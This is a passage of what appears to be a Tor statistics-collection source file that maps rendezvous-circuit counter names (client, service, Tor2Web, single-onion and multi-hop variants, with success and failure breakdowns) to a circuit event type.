'RendUMultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2CircuitCount' : { CIRCUIT_EVENT },
'Rend2CircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2CircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2CircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2CircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2CircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2FailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2FailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2FailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2FailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2FailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2FailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2SuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2InactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2InactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2InactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2InactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2InactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2InactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2InactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2InactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2InactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2InactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2InactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2InactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
